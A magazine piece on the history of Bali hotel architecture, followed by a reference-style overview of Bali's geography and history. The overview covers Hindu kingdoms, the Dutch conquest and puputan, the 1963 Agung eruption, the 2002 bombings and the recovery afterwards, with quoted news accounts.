Radit’s personal interest in design and architecture means that he has read this history through a particular lens, but it has helped to pinpoint a significant moment. This began with the arrival of the artist Donald Friend in 1962, who a few years later stayed at Tandjung Sari and became a partner of Wija. This would snowball into a renaissance of sorts that would help to define Bali’s new ‘face’ to the world.

Wija and Donald developed Batujimbar, the iconic estate that sprawls along prime beachfront land of Sanur. Envisioned by Donald, the estate was designed by none other than renowned Sri Lankan architect, Geoffrey Bawa , father of ‘Tropical Modernism’. Inspired by Balinese traditional architecture, with raised brick pavilions entered through jutting steps, open balés with thatched roofs and open courtyard layouts, Villa Batujimbar was born. Through Bawa’s particular style, the vernacular architecture was subtly transformed for modern tastes.

This became the keystone in new Balinese hotel design. The Batujimbar estate housed influential Australian architects Peter Muller and Kerry Hill , as well as legendary hoteliers Adrian Zecha (Founder, AMAN), Ong Beng Seng (Founder, Four Seasons Resorts in Bali) and his wife Christina Ong (Como Hotels & Resorts).

This unlikely combination of powerhouses shaped Bali’s hotel landscape, with iconic hotels born out of this concentrated interaction between visionaries. The Bali Hyatt (Palmer & Turner – room & buildings; Hill, lobby & public facilities), The Oberoi (then Villa Kayu Aya, Muller), Amandari (Zecha and Muller), Four Seasons Resort Bali at Jimbaran Bay (Ground Kent Architects-architect; Jaya Ibrahim, interior refurbishment). A notable mention is of course Made Wijaya, aka Michael White, the famed landscape designer who brought life into many hotel developments.

The creation of these hotels in the 80s created what would eventually be considered ‘Bali-Style’, a new Balinese export of sorts that inspired a new tropical aesthetic and even lifestyle. It was a golden era, attracting the likes of David Bowie, Mick Jagger, Annie Lennox and Ringo Starr. They had found that balance between localism and contemporary comfort, a recipe that has contributed to many of these properties remaining timeless to this day.

“Designs were informed by an intellectual curiosity and genuine desire to create something that was appropriate for the surrounding environment. They were respecting the landscapes and using the local raw materials,” reflects Radit. “They were just learning, putting it all together. The buildings are a documentation of their journey in understanding what Bali is.”

Whilst these grass-roots style visions were being celebrated, the Indonesian Government had other ideas. In 1982 they created the Bali Tourism Development Corporation (BTDC) complex in Nusa Dua. Grand resorts manifested in this manicured complex and five-star resorts, commodious and luxurious with hundreds of rooms, became the island’s mainstream destinations. Due to building regulations set after the construction of the Bali Beach Hotel, the resorts adhered to lower-rise, Balinese-inspired designs, and intended to invoke a sense of local culture and atmosphere.

Nevertheless, the large-scale nature of BTDC changed the tourism landscape. Bali now needed high tourist volumes, rooms had to be filled, and this created a shift in the industry. Slowly a mass-tourism model crept in and has since seen the development of multiple tourist hubs over the last two decades, from Kuta to Canggu, and even over-tourism in areas like Ubud.

“I think we really lost control after the Bali bombs,” Radit muses. “We were so desperate to have tourists back that at that point we adopted an ‘anything goes’ philosophy.” This certainly parallels post-Covid Bali, which appears to display the most ravenous and all-consuming development in the island’s history.

We now find ourselves on an island of mixed signals. Not quite the ‘island of art and exotic culture’, as first portrayed by the Pita Maha; nor the surfer’s tropical escape of Bob Koke. Not that these should continue, but there seems to be no particular ‘style’ that defines the island’s identity appropriately and accurately. With changing demographics of foreign residents and big Indonesian investors, Bali has become a canvas upon which others paint their own visions — and often without the island’s best interest at heart. This ‘bring the outside in’ mentality is certainly in contrast to the perspective of the Sanur designers, who wanted to ‘bring the inside out’. 

It may be too late to change what exists, but, much like the original ‘master plan’ made in the 70s, Bali must create a new set of principles that guide the island’s tourism industry to brighter futures. One that creates a clearer image of what the island is and stands for.

So, where do we go from here? Radit is inspired by the hotel group he currently works for, Aman, whose ethos is to ‘maintain locality’. “We need to have some self-respect for what we have to offer. At the end of the day, Bali’s backbone is its landscapes, people and culture,” he shares.

“I don’t like the idea of Bali being pigeon-holed. Culture doesn’t have to be trapped in the past; it evolves” says the visual communications graduate. He draws a parallel to Japan where even in a spectrum from rural traditional to hyper-modern there is an obvious and almost tangible ‘ Japaneseness ’. He quotes Indonesian designer Jaya Ibrahim, “I do not have to wear batik, sarong and a blangkon for people to know I am Javanese. They will know it from my spirit.”

The Potato Head Suites, previously called Katamama, is one example Radit shares of how we can approach Balinese heritage in a contemporary way. Though it may not appear obviously Balinese in form, it is a showcase and celebration of local artisanship. The entire building was constructed out of 1.8 million terracotta bricks, each hand-crafted by artisans in Darmasaba Village; in-room fabrics use local indigo-dyed ikat; and it featured a bar-meets-lab entirely dedicated to arak, the local alcohol. Other examples are certainly out there.

“What is quintessentially Bali? The kecak dance is not pure, it was made in the 1920s, though inspired by original choreography,” continues Radit. “Even the ‘Bali-style’ architecture is not exactly Balinese, it was made for contemporary tastes at the time. But these have the origins, essence and processes that respect Bali.”

Tourism today is seen as a commodity, and hospitality is often approached as such. But clearly this is having severe negative effects on the island, and also on the visitor experience. Is there a way in which we can improve all simultaneously? Radit doesn’t quite share a solution, but a philosophy that may help us get there:

“The original definition of hospitality comes from ‘being a host’. And that’s how I think we should think about Bali’s tourism, we are hosting people in our home – we provide what we, our house and our surroundings have to offer.” This mindset opens us to provide something uniquely and unashamedly ours. And yes, when we invite people into our home, don’t we always make sure the place is clean and tidy?

To stay in the loop on the publishing and updates on ‘Paras’ make sure to follow @parasparas_ or at parasparas.com | An exceptional ten-part blog series titled “A Quite Long History of Bali Hotel Architecture” by Radit is available at raditmahindro.medium.com 

Edward Speirs

Edward, or Eddy as he prefers to be called, is the Managing Editor of NOW! Bali and host of the NOW! Bali Podcast. He enjoys photography, rural travel and loves that his work introduces him to people from all walks of life.

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BALI AND ITS HISTORY

Bali is home to about 4.4 million people. About 90 percent are Balinese. The other 10 percent are Chinese, Muslim Javanese and other ethic groups. About 80 percent of the island's population live in the southern part of the Bali. Much of the western part of Bali is uninhabited jungle, where tigers lived until the 1940s.

Bali is an Indonesian island located eight degrees south of the equator. The westernmost of the Lesser Sunda Islands, it is situated between Java to the west and Lombok to the east. It is one of the country's 33 provinces with the provincial capital at Denpasar towards the south of the island.

Bali has long enjoyed the reputation of being an enchanting place where everyone seemed to be an artist, everyday was a festival, fruit and flowers grew in abundance, and gentle heavily-made-up little girls perform mystical dances. In the minds of many people minds Bali is as close to paradise as you can get. It has beautiful scenery: temples, rice terraces, beaches, volcanoes and beautiful villages placed among lush vegetation. For better or worse these things have been exploited by the tourism industry. In recent years Bali has suffered from its reputation..Many places have became crowded, overdeveloped and spoiled. The nice places are increasingly becoming fancy resorts accessible to rich. While the places accessible to everyone else have become congested and touristy.

Bali was colonized by Hindu invaders in the 9th century and unlike most of the rest of Indonesia the island refused to bow to Islam when it arrived several centuries later. Bali is the only Hindu island in Indonesia and contains one of the largest concentration of Hindu people outside of India. Balinese Hinduism incorporates elements of animism and ancestor worship, draws few distinction between secular, religious and super natural life; and makes no real distinction between the living and dead. The arts are held in high esteem. Artist include painters, woodcarvers and basket makers. One thing you see everywhere are wonderfully carved and colored wooden flowers. The Balinese are regarded as warm, mellow and fun loving.

Bali is a relatively small, diamond-shaped island. It covers only 5,580 square kilometers and measures 140 kilometers across from east to west, and 80 kilometers from north to south. No part of the island is more than 30 kilometers from the sea. The inhabited areas are mostly in the south and east. The landscape includes large volcanos and dense forests in the north and a coastal plain in the south. In between are steep ridges and ravines covered with "cascades of rice terraces" and rimmed by coconut palms, bamboo and banana trees. Most of the western part of the island is forest, where tigers used to live. Bali’s central mountains chain contains several peaks over 2000 meters and many active volcanos. Mt. Agung volcano dominates the north part of the island. The volcanos produce nourishing volcanic soil and the mountains block clouds, bringing lots of rain.

Bali is located just 8 degrees south of the Equator. The climate is nearly the same the year round. The temperature averages around 28 degrees C and the same amount of rain falls nearly every month. Humidity rises during the day and drops of at night. The air temperature is most delightful in the cool mornings and evenings. On Bali, the rainy season is between October and March; the dry season between April and September. The high season for tourists is July and August. The temperatures this time of the year are slightly cooler than the rest of the year and there are refreshing breezes coming off the sea. The low season is in the winter when the weather can be a little muggy, hot and rainy.

Books: “Island of Bali” by Miguel Covarrubias (1937) is regarded as the classic from the period when Bali was discovered by the rich and famous. There are multitude of other books, many of them dealing with Balinese arts and culture. Margaret Mead spent some time in Bali in the 1930s. She learned the language, listened to folk tales and myths and wrote a book called “Balinese Character” with her husband Gregory Bateson.

Early History of Bali

Though no artifacts or records exist that would date Bali as far back as the Stone Age, it is thought that the very first settlers to Bali emigrated from China in 2500 B.C., having created quite the evolved culture by the Bronze era, in around 300 B.C. This culture included a complex, effective irrigation system, as well as agriculture of rice, which is still used to this day. Bali’s history remained vague for the first few centuries, though many Hindu artifacts have been found, which lead back to the first century, indicating a tie with that religion. Though it is strongly held that the first primary religion of Bali, discovered as far back as A.D. 500 was Buddhism. Additionally, Yi-Tsing, a Chinese scholar who visited Bali in the year A.D. 670 stated that he had visited this place and seen Buddhism there.

The earliest evidence of human habitation of Bali are some 3000-year-old stone tools and earthenware vessels from Cekik.. The earliest people in Bali likely practiced some form of animism (belief in spirits). Buddhism and Hinduism arrived via Java. The oldest writing found in Bali are stone inscriptions that date to the 9th century. By that time rice was being extensively grow under the “subak” system. From what can be ascertained from archeological, literary and oral evidence, the indigenous people of Bali came into increasing contact with people from Java around the A.D. 5th century and were influenced by the Hindu and Buddhist religions found there but also by the language and political traditions associated with them. It is not known whether people that introduced these traditions were Indians or Javanese or both.

Dr. Jukka O. Miettinen of the Theatre Academy Helsinki wrote: “Ancient megalithic ritual sites bear witness to the long history of this island, although they have been covered over by later terraced rice fields and villages. Archaeological finds include bronze artefacts from before the present era. A large bronze drum or kettle gong called “The Moon of Pejeng”, stored in a temple in the small village of Pejeng, indicates contacts with the Dong-son bronze culture, which spread from Southern China to South-East Asia in the first millennium B.C. [Source: Dr. Jukka O. Miettinen, Asian Traditional Theater and Dance website, Theatre Academy Helsinki **]

Balinese Becomes a Hindu Kingdom

Miettinen wrote: "In the early centuries A.D. Bali gradually came under the strong influence of the Indianised Hindu-Buddhist culture. Bali was also influenced from time to time by Chinese culture, as can be seen in architecture and the visual arts, and in theatre, where certain mask types and plots indicate Chinese influences. The nearby island of Java played a decisive role in the development of Balinese culture. Java often overran its tiny neighbour, and Bali did not have its own king until the tenth century. In the late tenth century a Balinese prince married a princess from East Java, which led to a brief union of the kingdoms of Bali and East Java. The island of Bali, however, was never wholly Javanised; it continued to develop its own type of Hindu culture, which, unlike that in Java, managed to retain its integrity against the spread of Islam, which came to dominate Javanese culture in the fourteenth century.**

By the 11th century, Hindu and Javanese influences became very important to Bali. Airlangga, the son of a Balinese king and a Javanese queen, united Bali with an eastern Javanese kingdom. At the age of 16 Airlangga fled to the forests of western Java when his uncle lost the throne and later reclaimed the throne and became one of Java’s rulers. When Airlanggha’s father died in about 1011 AD, he moved to East Java, uniting it under one principality and appointing his brother, Anak Wungsu, the ruler of all of Bali. Following this time, there were many reciprocal political and artistic ideas that formed. Javanese language, called Kawi, became the aristocracy’s preference, among other Javanese traits and customs that were worked into Bali life.

As Islam swept through Indonesia, many Hindus fled to Bali, where Hindu and Indonesian culture and customs mix in an interesting fashion. The island abounds in cultural activities and performances and shopping opportunities. Bali is When Airlanggha died in the mid-11th century, Bali remained quite autonomous until 1284, when East Javanese king Kertanegara conquered Bali and ruled over it from his home in Java. Kertanegara was assassinated in 1292, and Bali was once again liberated, until 1343 when it was brought back into Javanese control by Hindu-Javanese general Gajah Mada, of the Majapahit empire.

From the 11th century to the 15th century, Bali endured as a Hindu kingdom while the rest of Indonesia became by Islamicized or Christianized. Periodically Bali was dominated by other kingdoms. It in turn influenced other islands, namely Lombok, and enslaved some of its own people. For three centuries Bali was mostly at least semi-independent and intermittently ruled by the East Java-based Majapahit kingdom, which was conquered by Muslim forces in 1527. When the Majapahit dynasty was conquered members of the Hindu nobility, artists, and priests fled to Bali, bringing with them a new wave of Javanese culture. Early contacts with Islamic Java were few, and Balinese culture was able to develop its intrinsic features undisturbed by outside influences. The Majapahit Empire exodus of aristocracy, priests, artists and artisans to Bali brought Bali great prosperity, ushering in Bali’s golden age. Bali became powerful enough to take control of neighboring Lombok, as well as pieces of East Java.

Later Balinese History

In 1597, a ship full of Dutchmen accidentally landed on Bali. It is said the Europeans fell so deeply in love with the place they stayed for two years, and when it was time to leave some refused to go. Bali at that time was regarded to be at its peak. The king of the island had 200 wives. He traveled around in a chariot pulled by two white buffalo and had at his disposal a retinue of 40 dwarves.

The Dutch seamen were the first Europeans to land in Bali. The Netherlands had no real interest in Bali until the 1800s. In 1846 the Dutch returned with colonization on their minds, having already had vast expanses of Indonesia under their control since the 1700s. The Dutch sent troops into northern Bali, and by 1894, they had sided with the Sasak people of Lombok to defeat the Balinese. By 1911, all Balinese principalities were under Dutch control.

The Dutch largely ignored Bali because it didn’t have any important tradeable goods, it lacked a good harbor until the mid 19th century and its wasn’t positioned along any major trade routes. In 1855 the first Dutch officials arrived on the island. Over the following decades, often using salvage claims over shipwrecks to enter Balinese territory, the Dutch took more and more control of the island and pushed the Balinese kingdom into the south, where it put up military resistence to colonialism.

The Dutch put pressure on the Balinese rulers by siding with their adversaries, the Sasaks of Lombok. In 1906, the Dutch invaded Bali and mounted a naval bombardment of the island after the Balinese refused to pay compensation for ransacking a Chinese ship. When it became clear the Balinese royals could no longer hold off the Dutch, they chose to die rather than submit to colonial rule. Under the now legendary “puputan”, the royal family ordered their palaces to be set alight. Then clad in white and armed only with spears they and some of their supporters hurled themselves at the Dutch. Maybe a thousand died. The Dutch gained controlled of the island.

The Dutch enacted a policy called “Baliseering”, or the Balinization of Bali, which was aimed to “protect” the island’s culture from spreading Islam and keeping it traditions alive. Court life on Bali largely died under the Dutch. For some people, the defeat of the Balinese marked the passing of an era. The great Indonesian writer Pramoedya Ananta Toer wrote, “I bowed my head” and “went back to my desk. I took out my diary and wrote these words: ‘Today I begin.’”

After World War I, a sense of Indonesian Nationalism began to grow, leading to the declaration of the national language in 1928, as Bahasa Indonesia. In the 1930s, Westerners first promoted Bali as a vacationer's paradise. The former Dutch territory was a colonial playground for the Netherlands Indies, which extended from Indonesia to Malaysia.

Puputan Revolts in 1906 and 1908

Puputan is a Balinese term for a mass ritual suicide in preference to facing the humiliation of surrender. Notable puputans in the history of Bali occurred in 1906 and 1908, when the Balinese were being subjugated by the Dutch. On September 20, 1906, a substantial force of the Royal Dutch East Indies Army landed at the northern part of Sanur beach. The force managed to move inland without much resistance, and arrived in the city of Kesiman on 20 September 1906. There, the local king, a vassal of the king of Badung, had already been killed by his own priest, as he had refused to lead an armed resistance against the Dutch. The palace was in flames and the city was deserted. [Source: Wikipedia]

The force marched to Denpasar, Bali, as if in a dress parade. They approached the royal palace, noting smoke rising from the puri and hearing a wild beating of drums coming from within the palace walls. Upon their reaching the palace, a silent procession emerged, led by the Raja on a palanquin carried by four bearers. The Raja was dressed in traditional white cremation garments, wore magnificent jewelry, and carried a ceremonial kris. The other people in the procession consisted of the Raja's officials, guards, priests, wives, children and retainers, all of whom were similarly attired. They had received the rites of death, were dressed in white, and had had their ritual kris blessed.

When the procession was a hundred paces from the Dutch force, they halted and the Raja stepped down from the palanquin and signalled a priest, who plunged his dagger into the Raja's breast. The rest of the procession began killing themselves and others. Women mockingly threw jewelry and gold coins at the troops. A 'stray gunshot' and an 'attack by lance and spear' prompted the Dutch to open fire with rifles and artillery. As more people emerged from the palace, the mounds of corpses rose higher and higher.The whole procession numbered hundreds, and is said to have been over 1,000 people in all. It was mown down by Dutch gunfire.

Alternative accounts describe that the Dutch first opened fire on the Balinese mass moving outside of the palace gate, only equipped with traditional krises, spears and shields, and that survivors killed themselves, or had themselves killed by their followers according to the dictates of the puputan. The soldiers stripped the corpses of the valuables and sacked the ruins of the burned palace. The palace of Denpasar was razed to the ground. The same afternoon, similar events occurred in the nearby palace of Pemecutan, where the co-ruler Gusti Gede Ngurah resided. The Dutch let the nobility at Pemecutan kill themselves, and proceeded with the looting.

The massacre is remembered locally as the "Badung Puputan" and is glorified as an example of resistance to foreign aggression. A huge bronze monument was erected on the central square of Denpasar, where the royal palace used to stand, glorifying Balinese resistance in the Puputan. The Dutch force continued to the kingdom of Tabanan, where the king Gusti Ngurah Agung and his son fled. They surrendered to the Dutch, and attempted to negotiate a settlement to become a regency of the Netherlands. The Dutch only offered them exile to nearby Madura or Lombok, and they preferred to kill themselves (puputan) in prison two days later. Their palace was plundered and razed by the Dutch.

The intervention was triggered by a Balinese revolt against a Dutch attempt to impose an opium monopoly in their favour. The Raja of Karangasem opposed the monopoly, leading to Balinese riots in the capital of Klungkung. Riots also erupted in Gelgel, when the Balinese killed a Javanese opium dealer. The Dutch sent troops to quell the riots. In Gelgel, they killed 100 Balinese, forcing the Raja to flee to Klungkung. [9] The Dutch then bombarded the city of Klungkung.

In a final confrontation on 18 April 1908, Dewa Agung Jambe, the Raja of Klungung, accompanied by 200 followers, made a desperate sortie out of his Palace, clad in white and armed with a legendary kris supposed to wreak havoc on the enemy according to a prophecy. The kris failed to fulfill the desired outcome, and the Raja was instead shot by a Dutch bullet. Immediately, the six wives of the king resorted to puputan, killing themselves with their own kris, soon followed by the other Balinese in the procession.

Bali After Indonesian Independence

World War II brought the Japanese, who expelled the Dutch and occupied Indonesia from 1942 until 1945. The Japanese were later defeated, and the Dutch returned to attempt to regain control of Bali and Indonesia. However, in 1945, Indonesia was declared independent by its very first president, Sukarno. The Dutch government ceded, and Indonesia was officially recognized as an independent country in 1949.

After the Japanese occupation of Bali in World War II, there was fighting between those who supported Indonesian independence and those who favored a continuation of Dutch colonial rule. One Balinese resistance movement, in the tradition of “pupatan” chose to be wiped out rather than surrender at the Battle of Margarana. Bali’s airport, Ngurah Rai, Is named after the group’s leader.

The 1960s was a tragic time in Bali. The island’s main volcano, the sacred Gunung Agung, erupted and caused great damage, while famine and bloody political upheavals killed thousands of Balinese. The beginning of mass tourism was heralded by the opening of an international airport in the late 1960s.

The tourism boom on Bali began in the 1970s and gained momentum through the 1980s and 1990s and was not slowed until the Asian financial crisis in the late 1990s and the Bali Bombing in 2002. In the early 1990s, dozens of new roads were built. resorts were developed and the economy was converted to rely more heavily on tourism. Many of the developers were friends or cronies of President Suharto and much of the profits from the 300,000 visitors a years ended up in the pockets of non-Balinese. Taxes from hotels, restaurants and souvenir shop still go to Jakarta.

Bali Volcano Eruption

On March 16th, 1963 Bali’s Gunung Agung erupted for the first time in 120 years, with a follow up eruption in May, destroying much of northeastern Bali and killing 1,100 people and leaving 100,000 other homeless. Entire villages were destroyed by layers of ash and flows of hot mud that made it all the way to the sea. Hard rains after the eruption exacerbated the problems, creating landslides and lahars. Roads were closed off, villages were swept away and more people suffered, this time from lack of food. [Source: Windsor Booth, National Geographic, September 1963]

The Balinese call Mount Agung the "navel of the world." They regard it as the center of their universe. During the eruption a gate built to honor president Sukarno was destroyed. This was seen as a symbol of corruption in the government, which was soon ousted. Many Balinese believed that Sukarno caused the eruption by forcing religious leaders in Bali to “stage” an important ritual at a tourism conference.

Some 200 people died when a pyroclastic flow (an incandescent cloud of volcanic debris) raced down the mountain through the in the town of Subagan. Nearly all the inhabitants of the village of Lebih were burnt to death or suffocated by clouds of hot gas. Boiling mud and ash obliterated other towns, where children made strange wailing sounds as they choked to death. Some areas strewn with dog eaten bodies were still too hot to enter weeks after the eruption. Days became night as far away as Java when clouds of cinder and ash blew over and drinking water was in short in supply as rivers and streams became a silty grey mess.

Besakih, Bali's most sacred shrine is located right beneath the volcano. Even though there were dangers of new eruptions and the Governor of Bali forbade people from visiting the temple, thousands went anyway to celebrate an April full moon ceremony. Offerings to the gods included plaited palm fonds, bowls of rice, fried cakes, barbecued fowl, squat bananas and spiny durians. Some ceremonies are climaxed with women picking up burning coals in their bare hands.

After the eruption many Balinese moved to other parts of Indonesia. Two leaders and hundreds were killed during the anti-Communist purge after the 1965 failed coup. Many Balinese were involved in the killing as Communism was viewed as a threat to the traditional Balinese way of life.

Bali Bombing in 2002

Bali bombing site October 12, 2002 a bombing on the Indonesian holiday island of Bali killed 202 people, 88 of them Australians, and injured more than 160, many of them suffering from terrible burns. The attack took place at Kuta Beach, a popular resort with foreign tourist in Bali. It was the worst terrorist attack since the September 11th attacks and brought Indonesia to the forefront of the war on terrorism. The attacks are carried out by Jemaah Islamiyah, a South-east Asian extremist group inspired by Al Qaida.

Denny Lee wrote in the New York Times: “The attacks occurred just after 11pm on Oct. 12, 2002, a busy Saturday night. A bomb linked to Al Qaeda ripped through Paddy's Bar, a popular nightclub on Legian Street, in the bopping tourist district of Kuta. The location was no accident. It was as if the blast tore through the Ramblas in Barcelona or Times Square in New York. “Half a minute later, a more powerful car bomb exploded across the street, creating a three-foot-deep crater outside the Sari Club and trapping hundreds in a disco inferno. Many of the dead -- including 88 Australians, 38 Indonesians, 26 Britons and 7 Americans -- had been fleeing the first blast. The Balinese call it their ground zero.” [Source: Denny Lee, New York Times, March 27, 2005]

Two bombs went off almost simultaneously. The first went off at Paddy’s Irish Pub. It killed eight people and was carried in the a vest of a suicide bomber. The main bomb went off seconds later in front of the Sari Club on Jalan Legian, the main street in Kuta. A third bomb went of at the U.S. consular offices but didn’t cause any casualties.

The main bomb was made of one-ton of ammonium nitrate fertilizer, potassium chloride and other chemicals and at least 50 kilograms of chlorate explosives. These were placed inside filing cabinets in a white van parked by a suicide bomber in front of the Sari Club. Powerful enough to leave behind a crater in the street, the bomb was set off “booster charge” of a TNT-like explosive activated with a cell phone. The bomb explosion set off secondary blasts caused by exploding gas cylinders in the club causing the flimsy roof of the club to collapse, trapping hundreds inside. Fires spread to adjacent buildings, some of which had their roofs blown off and walls smashed by the blast.

Describing the scene the morning after the blast an AP reporter wrote: “Blood still spattered walls and the roadway. A leg was on a nearby roof. A charred hand was on the sidewalk. Shoes and sandals were scattered across the road...Th blackened remains of dozens of cars and motorbikes cluttered the town’s main road...At the airport tourists sat on the ground hoping to board flights.”

Victims of the Bali Bombing

Bali bombing site Many of the victims of the Bali bombing were killed by the explosion but many more were killed in the fires set by the explosives,. People from 22 nations were killed. In addition to the 88 Australians, 29 Britons died as well as citizens from Germany, Sweden, Portugal, South Korea, South Africa, Canada and of course Indonesia. Seven Americans were among the dead. They were the primary targets.

The Sari Club was popular with young backpackers and surfers. It only admitted foreigners. Most of the victims were inside the club. Many of the local victims were Balinese who worked at the club, lived nearby, drove taxis waiting outside the club and just happened to be walking by.

One survivor told AP, “Some poor bugger was laying right in the corner and one of his legs was gone....he was quite coherent, he was just saying, “What going to happen to me?” Another said, “I have never seen anything so horrible. There were so many people , 18- to 20-year-olds, people in pieces all over the street.”

A survivor who was in the club told AP, “I saw people on fire. Many people were carrying others. Most were bleeding. Everything as on fire . It was chaos . It was dark except for the flames...There were bodies all over the floor. So many bodies were just black mounds, some were red.”

Relatives of the dead visited the morgue at Sanglah Hospital and looked for their lost loved ones. They had to wear masks of the smell and concerns about the spread of disease because there wasn’t enough refrigeration for all the bodies. Some never found their loved ones. Some victims were burned beyond recognition, blown to pieces, or both. Balinese who couldn’t find their relatives held a special homecoming ceremony for the unaccounted for dead, who are believed to be lost in limbo between the physical world and the spiritual world.

Survivors of the Bali Bombing

One survivor, a man from Tasmania, told Reuters he was partying with five friends, three of whom died. He blacked out after the explosion. “When I woke up I noticed blood spurting from my neck and my leg and my left arm. I saw many dead bodies inside and outside Sari club.” Another survivor told Australian television, “Looking outside...people are yelling and screaming, they are all going “we are going to die.”

Describing one of his friends a man who was having a drink at Paddy’s when the bomb went told the Independent “I didn’t recognize the face, only the voice. He had burns on his face, his shoulders, his arms. He looked like his flesh was still burning. He couldn’t breath very well. He was trembling a lot.” An American told AP, the blast “lifted me off my feet. All the buildings in the vicinity just collapsed, cars overturned and debris from the buildings fell on them.”

All the injured were brought to a single hospital, the Sanglah Hospital in Denpesar. Some with terrible burns waited for hours, with no painkillers or bandages or cream, until they could be treated. Within 36 hours all the foreigners had been airlifted o Singapore or Australia for better care. The locals remained at Sanglah for treatment.

After the Bali Bombing

Denny Lee wrote in the New York Times: “Tourism, the economic soul of Bali, sank like a stone. Waves of storefronts went dark, hotel employees were laid off en masse, and airlines scaled back flights to Bali before abandoning the destination altogether. "The whole of Bali emptied out," recalled Jamal Hussain, the general manager of the Hard Rock Hotel Bali, one of the many Western icons that remain on high alert. “If that weren't enough, SARS arrived the next year, devastating tourism throughout Asia. Then terrorism struck again, this time in the Indonesia capital of Jakarta. A bomb-laden S.U.V. rocked a Marriott hotel in the central business district. Then last September, a car bomb exploded at the nearby Australian Embassy, killing 11. Both attacks have been linked to Jemaah Islamiyah, the same Al Qaeda offshoot that is suspected as being responsible for the Bali blasts. [Source: Denny Lee, New York Times, March 27, 2005 ]

“But vestiges of terrorism are unavoidable, looming over the tropical oasis like a stalled monsoon. At the Four Seasons Resort in Jimbaran, guests are now greeted at the gatehouse with AK-47 rifles and undercarriage checks. At the McDonald's on Kuta Beach, night watchmen keep close tabs at all hours, even when the crowd thins to a drunken few. And during the Christmas and New Year rush, the police were out in full force, rummaging through trash cans, delivery trucks and fanny packs. Australia had issued yet another terrorist warning, as had Britain, New Zealand and the United States.

“Bomb-sniffing dogs, stone-faced guards and airport-style metal detectors are all part of the new normal. (The State Department continues to warn Americans "of the continued potential for terrorist attacks against Americans, U.S. or other Western interests in Indonesia.") And the economic slump of the previous two years has lent an air of desperation to the aggressive touting.”

Recovery After the Bali Bombing

About two and half years after the Bali bombing Denny Lee wrote in the New York Times: “ “Yet, despite all these potentially crippling blows, Bali climbed back. A sprawling, 313-room Conrad hotel opened last year in the southern peninsula of Nusa Dua. COMO Hotel and Resorts opened up a boutique hotel, Uma Ubud, in the jungles of the Tjampuhan Valley. Accor Hotels opened the Sofitel Seminyak Bali last November, and plans to open another hotel in May. “"It's a signal that companies are still optimistic about investing in Bali," said Robert Kelsall, chairman of the Bali Hotels Association, which represents the island's major chains. “And then there is the latest resort from Bulgari, the Italian jeweler, perched on an exquisite limestone cliff at Bali's southernmost tip. Although the hotel is not expected to open until the end of the year, fashionistas are already chattering about what the second outpost of this boutique hotelier (the other is in Milan) will look like when it is done. [Source: Denny Lee, New York Times, March 27, 2005 ]

“In an unmistakable sign that Bali is recovering, nearly 1.5 million people visited the island in 2004, a 47 percent jump from the year before. According to Bali tourism officials, some 40,000 Americans traveled halfway around the globe to experience the island's slow-cooked charms, a 40 percent gain from 2003. “Signs of Bali's upswing are everywhere, from the surfer-mobbed breaks along Kuta Beach on the southwestern coast, to the traffic tie-ups leaving Ngurah Rai International Airport. Hotels that were nearly mothballed are now booked solid. “"We had a 75 percent occupancy rate last summer," Monty Brown, the manager for Aman Resort's three properties in the island, said in a recent interview. "The year before, it was 25 percent."

“Not only is Bali rebounding but it is also re-emerging with a high-end gloss that belies its reputation as a backpacker's nirvana. Luxury hotels with lotus-shaped pools and teak-lined restaurants are going up while old ones are renovating their way to more stars. Fancy restaurants, first-class spas and hip nightclubs have all cropped up in the last year, adding new spice to a scene that, not long ago, bordered on stale. “"It was a banner year for Bali," said David Wilson, the general manager at the Ritz-Carlton, in Jimbaran, while conducting a tour of the hotel's 38 new luxury villas, nearly all of which had been booked for the New Year holidays.

“Bali even has a new airline, Air Paradise International, which recently inaugurated service to a fifth city in Australia, to go with thrice-weekly flights to Osaka, Japan, and Seoul. But contrary to post-bombing predictions by tour operators, "terrorist attacks have a very short-term consequence on tourism," said Rok Klancnik, a spokesman for the World Tourism Organization, a United Nations agency based in Madrid. And it seems to be getting shorter. “"It took Luxor, Egypt, five long years to recover from its terrorist attacks," Mr. Klancnik added, referring to the 1997 massacre of 58 foreigners by Islamic militants in an ancient temple. New York City saw tourism levels rebound two years after the 2001 attacks, and Madrid's were back to normal within months of the 2004 train bombing. “"It will probably take Bali just another year to fully recover," Mr. Klancnik said.”“

Bali Royalty Today

Trisha Sertori wrote in the Jakarta Post, “The mantle of royalty sits lightly on the shoulders of Tjokorda Raka Kerthyasa. Born into Ubud’s royal family, the blood of ancient kings runs through his veins in a line dating back to the Majapahit Empire: a line broken last century when Dutch colonisation reduced kingdoms to regencies. Now just a regular man like any other, Pak Cok as he is familiarly known, is witty, insightful and deeply spiritual, but can be blunt when required—the very qualities that characterise great leaders whatever the political system. Cok has no desire for a return to monarchy—any return to the past, except to learn from history, is a “dangerous fantasy”: “The system we have now is right for this time—it’s a system for the people.” "These are combined with legends and facts from archaeologists to give the stories of the past." [Source: Trisha Sertori, Jakarta Post, January 30, 2009 - ]

“He fulfills his own obligations in a cultural and social context, through his involvement in politics, his religious and cultural activism, and his roles as president of The Bali Heritage Trust, patron of the Ubud Writer’s and Reader’s Festival and Rotarian. “I’m descended from that ancient way of life. To be born into the palace is to follow social structures; one of these is to preserve, maintain and innovate the physical and nonphysical—or the material and spiritual—culture of our society,” Cok says. “Keep to those obligations and they earn the respect from the community—a title alone is not enough to earn that respect; respect comes rather from what you do.” -

“Cok stepped outside the confines of his Balinese upbringing early, shocking his family by marrying an Australian girl, Asri, in 1978. His family quickly grew to love his bride, who is now mother to his three children and grandmother to their six-year-old grandson. The young couple moved to Sydney, where they lived for 12 years. Cok studied art and helped with the Australian Museum’s Pacific and Asian collection as a volunteer, “building bridges of culture between Bali and Australia”. His work with the Australian Museum sat well with his lifelong dedication to conserving traditional Balinese culture, a dedication now manifest in his role with The Bali Heritage Trust, an organisation established in 2003 by former Bali governor Dewa Beratha. “A lot of our literature has been lost due to volcanic eruptions and colonisation, so many villages are rewriting those histories from sources that are still here. These are combined with legends and facts from archaeologists to give the stories of the past.” -

Cok agrees that as Bali develops—tourism is flourishing, building is feverish, farmland is swallowed up—it can become difficult to see tradition as a living, breathing expression of the island’s society, particularly in the southern regions. “The difficulty is in how to maintain a cultural system with the outside influence of many different cultures and religions.” Heavily tourist-oriented regions therefore need help maintaining that culture. “That’s something you have to actively do. Make a political commitment to that, especially when Bali is promoted as a tourist area because of that culture.”

Image Sources:

